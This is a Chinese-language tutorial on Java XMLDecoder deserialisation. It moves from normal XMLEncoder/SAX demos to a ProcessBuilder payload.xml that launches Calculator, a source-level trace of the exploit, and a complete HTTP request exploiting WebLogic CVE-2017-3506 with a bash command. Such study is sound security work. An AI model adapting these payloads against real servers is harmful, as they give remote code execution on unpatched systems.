一、XMLDecoder簡介
java.beans.XMLDecoder 是jdk自帶的以SAX方式解析XML的類,主要功能是實現java對象和xml文件之間的轉化:
- 序列化:將java對象轉換成xml文件
- 反序列化:把特定格式的xml文件轉換成java對象
下面是一個簡單地demo樣例,
package org.example; public class Person { String name = ""; int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public void sayHello(){ System.out.println("Hello, my name is "+name); } }
package org.example; import java.beans.XMLDecoder; import java.beans.XMLEncoder; import java.io.*; public class XMLDecoderTest { // 序列化對象到文件person.xml public void xmlEncode() throws FileNotFoundException { Person person = new Person(); person.setAge(18); person.setName("test"); XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml"))); xmlEncoder.writeObject(person); xmlEncoder.close(); System.out.println("序列化結束!"); } // 反序列化 public void xmlDecode() throws FileNotFoundException { XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml"))); Person person = (Person)xmlDecoder.readObject(); xmlDecoder.close(); person.sayHello(); System.out.println("反序列化成功!"); } public static void main(String[] args) throws FileNotFoundException { XMLDecoderTest xmlTest = new XMLDecoderTest(); xmlTest.xmlEncode(); xmlTest.xmlDecode(); } }
接下來自己實現一個基於SAX的XML解析。
SAX全稱爲Simple API for XML,在Java中有兩種原生解析xml的方式,分別是SAX和DOM。兩者區別在於:
- Dom解析功能強大,可增刪改查,操作時會將xml文檔以文檔對象的方式讀取到內存中,因此適用於小文檔
- Sax解析是從頭到尾逐行逐個元素讀取內容,修改較爲不便,但適用於只讀的大文檔
SAX採用事件驅動的形式來解析xml文檔,即觸發了事件就去做事件對應的回調方法。
在SAX中,讀取到文檔開頭、結尾,元素的開頭和結尾以及編碼轉換等操作時會觸發一些回調方法,你可以在這些回調方法中進行相應事件處理:
- startDocument()
- endDocument()
- startElement()
- endElement()
- characters()
package org.example; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import java.io.File; public class DemoHandler extends DefaultHandler { public static void main(String[] args) { SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); try { SAXParser parser = saxParserFactory.newSAXParser(); DemoHandler dh = new DemoHandler(); String path = "payload.xml"; File file = new File(path); parser.parse(file, dh); } catch (Exception e) { e.printStackTrace(); } } @Override public void characters(char[] ch, int start, int length) throws SAXException { System.out.println("characters()"); super.characters(ch, start, length); } @Override public void startDocument() throws SAXException { System.out.println("startDocument()"); super.startDocument(); } @Override public void endDocument() throws SAXException { System.out.println("endDocument()"); super.endDocument(); } @Override public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { System.out.println("startElement()"); for (int i = 0; i < attributes.getLength(); i++) { // getQName()是獲取屬性名稱, System.out.print(attributes.getQName(i) + "=" + attributes.getValue(i) + "n"); } super.startElement(uri, localName, qName, attributes); } @Override public void endElement(String uri, String localName, String qName) throws SAXException { System.out.println("endElement()"); System.out.println(uri + localName + qName); super.endElement(uri, localName, qName); } }
可以看到,我們通過繼承SAX的DefaultHandler類,重寫其事件方法,就能拿到XML對應的節點、屬性和值。
XMLDecoder也是基於SAX實現的xml解析,不過他拿到節點、屬性、值之後通過Expression創建對象及調用方法。XMLEncoder使用反射來找出它們包含哪些字段,但不是以二進制形式編寫這些字段,而是以 XML 編寫。 待編碼的對象不需要是可序列化的,但是它們確實需要遵循 Java Beans 規範,例如
- 該對象具有一個公共的空(無參數)構造器
- 該對象具有每個受保護/私有財產的公共獲取器和設置器
參考鏈接:
https://kancloud.cn/apachecn/howtodoinjava-zh/1952934
二、XMLDecoder反序列化漏洞原理
概括來說,XMLDecoder產生漏洞的原因主要有以下幾個關鍵因素:
- XMLDecoder是java自帶的以SAX方式解析xml的類,其在反序列化經過特殊構造的XML數據可以覆蓋對應Beans成員值,這給構造gadget產生了可能。
- XMLDecoder使用反射來動態生成Beans,這給觸發gadget產生了可能。
以上兩個條件同時都具備,使得XMLDecoder產生遠程代碼執行漏洞的攻擊面。
在Weblogic中由於多個包wls-wast、wls9_async_response war、_async使用了該類進行反序列化操作,導致出現了了多個高位RCE漏洞。
0x1:漏洞復現
payload.xml
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string> </void> </array> <void method="start"> </void> </object> </java>
poc.java
package org.example; import java.beans.XMLDecoder; import java.io.BufferedInputStream; import java.io.File; import java.io.FileInputStream; public class poc { public static void main(String[] args) throws Exception { File file=new File("payload.xml"); FileInputStream fileInputStream=new FileInputStream(file); BufferedInputStream bufferedInputStream=new BufferedInputStream(fileInputStream); XMLDecoder xmlDecoder=new XMLDecoder(bufferedInputStream); xmlDecoder.readObject(); xmlDecoder.close(); } }
0x2:漏洞源碼跟蹤
在java.lang.ProcessBuilder#start打斷點,堆棧如下,
可以看到,堆棧入口是從readObject()觸發的,我們從頭開始跟蹤。
XMLDecoder跟進readObject(),
跟進parsingComplete(),
其中使用XMLDecoder的handler屬性DocumentHandler的parse方法,並且傳入了我們輸入的xml數據,
進入com.sun.beans.decoder.DocumentHandler#parse,
這裏的代碼其實和我們寫的DemoHandler裏一模一樣,通過SAXParserFactory工廠創建了實例,進而newSAXParser拿到SAX解析器,調用parse解析,那麼接下來解析的過程,我們只需要關注DocumentHandler的幾個事件函數就行了。
在DocumentHandler的構造函數中指定了可用的標籤類型,
對應了com.sun.beans.decoder包中的幾個類,
在startElement中首先解析java標籤,然後設置Owner和Parent,
this.getElementHandler(var3)對應的就是從構造方法中放入this.handlers的hashmap取出對應的值,如果不是構造方法中的標籤,會拋出異常。
然後解析object
標籤,拿到屬性之後通過addAttribute()設置屬性,
在addAttribute()沒有對class屬性進行處理,拋給了父類com.sun.beans.decoder.NewElementHandler#addAttribute,
會通過findClass()去尋找java.lang.ProcessBuilder類,
通過classloader尋找類賦值給type,
賦值完之後跳出for循環進入this.handler.startElement(),不滿足條件,
接下來解析array標籤,同樣使用addAttribute對屬性賦值,
同樣拋給父類com.sun.beans.decoder.NewElementHandler#addAttribute處理,
接下來繼續設置length屬性,
最後進入com.sun.beans.decoder.ArrayElementHandler#startElement,
因爲ArrayElementHandler類沒有0個參數的getValueObject()重載方法,但是它繼承了NewElementHandler,所以調用com.sun.beans.decoder.NewElementHandler#getValueObject(),
這個getValueObject重新調用ArrayElementHandler#getValueObject兩個參數的重載方法,
ValueObjectImpl.create(Array.newInstance(var1, this.length))創建了長度爲1、類型爲String的數組並返回,到此處理完array標籤。
接着處理void,創建VoidElementHandler,設置setOwner和setParent。
調用父類com.sun.beans.decoder.ObjectElementHandler#addAttribute設置index屬性,
繼續解析string標籤,不再贅述。
解析完所有的開始標籤之後,開始解析閉合標籤,最開始就是,進入到endElement()。
StringElementHandler沒有endElement(),調用父類ElementHandler的endElement(),
調用本類的getValueObject(),
設置value爲/System/Applications/Calculator.app/Contents/MacOS/Calculator,
接着閉合void,
閉合array,
然後開始解析<void method="start"/>
通過父類的addAttribute將this.method賦值爲start,
隨後閉合void標籤,
調用endElement,VoidElementHandler類沒有,所以調用父類ObjectElementHandler.endElement,
調用NewElementHandler類無參getValueObject,
然後調用VoidElementHandler類有參getValueObject,但是VoidElementHandler沒有這個方法,所以調用VoidElementHandler父類ObjectElementHandler的有參getValueObject。
跟進Object var3 = this.getContextBean(),因爲本類沒有getContextBean(),所以調用父類NewElementHandler的getContextBean(),
繼續調用NewElementHandler父類ElementHandler的getContextBean(),
會調用this.parent.getValueObject()也就是ObjectElementHandler類,而ObjectElementHandler沒有無參getValueObject()方法,會調用其父類NewElementHandler的方法,
最終var3的值爲java.lang.ProcessBuilder,var4的值爲start,var5的值爲/System/Applications/Calculator.app/Contents/MacOS/Calculator,
通過Expression的getValue()方法反射調用start,執行指令。
也就相當於最後拼接了一個表達式:new java.lang.ProcessBuilder(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).start();
XMLDecoder採用Expression對節點的value進行動態獲取,而Expression是可以獲取返回值的,這是能夠漏洞利用成功的一個關鍵點之一。舉個例子,
package org.example; public class User { private int id; private String name; @Override public String toString() { return "User{" + "id=" + id + ", name='" + name + "'" + '}'; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String sayHello(String name) { return String.format("你好 %s!", name); } }
package org.example; import org.example.User; import java.beans.Expression; import java.beans.Statement; public class TestMain { public static void main(String[] args) { testStatement(); testExpression(); } public static void testStatement() { try { User user = new User(); Statement statement = new Statement(user, "setName", new Object[]{"張三"}); statement.execute(); System.out.println(user.getName()); } catch (Exception e) { e.printStackTrace(); } } public static void testExpression() { try { User user = new User(); Expression expression = new Expression(user, "sayHello", new Object[]{"小明"}); expression.execute(); System.out.println(expression.getValue()); } catch (Exception e) { e.printStackTrace(); } } }
可以看到,Expression是可以獲得返回值的,方法是getValue()。Statement不能獲得返回值。
總結一下,
XMLDecoder導致漏洞的原因就在於處理節點的時候,信任了外部輸入的XML指定節點類型信息(class類型節點),同時在進行節點Expression動態實例化的時候(通過invoke實現set()方法),允許節點屬性由XML任意控制(本例中是new java.lang.ProcessBuilder、和new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),導致Expression的set()方法被重載爲風險函數(本例中是start)。Expression動態解析因爲Java反射特性實現了代碼執行。
參考鏈接:
https://www.chabug.org/audit/1425 https://blog.csdn.net/qq_38154820/article/details/108138810 https://github.com/mhaskar/XMLDecoder-payload-generator/blob/main/XMLDecoder-payload-generator.py https://www.cnblogs.com/0x28/p/14391641.html https://www.shijiyin.com/archives/487334 https://www.kancloud.cn/apachecn/howtodoinjava-zh/1952934
三、真實CVE漏洞案例
0x1:CVE-2017-3506
POST包,
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.248.128:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: text/xml Content-Length: 605 Origin: http://192.168.248.128:7001 Connection: close Referer: http://192.168.248.128:7001/wls-wsat/CoordinatorPortType Upgrade-Insecure-Requests: 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/CVE-2017-3506</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
參考鏈接:
https://sp4zcmd.github.io/2021/09/30/XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/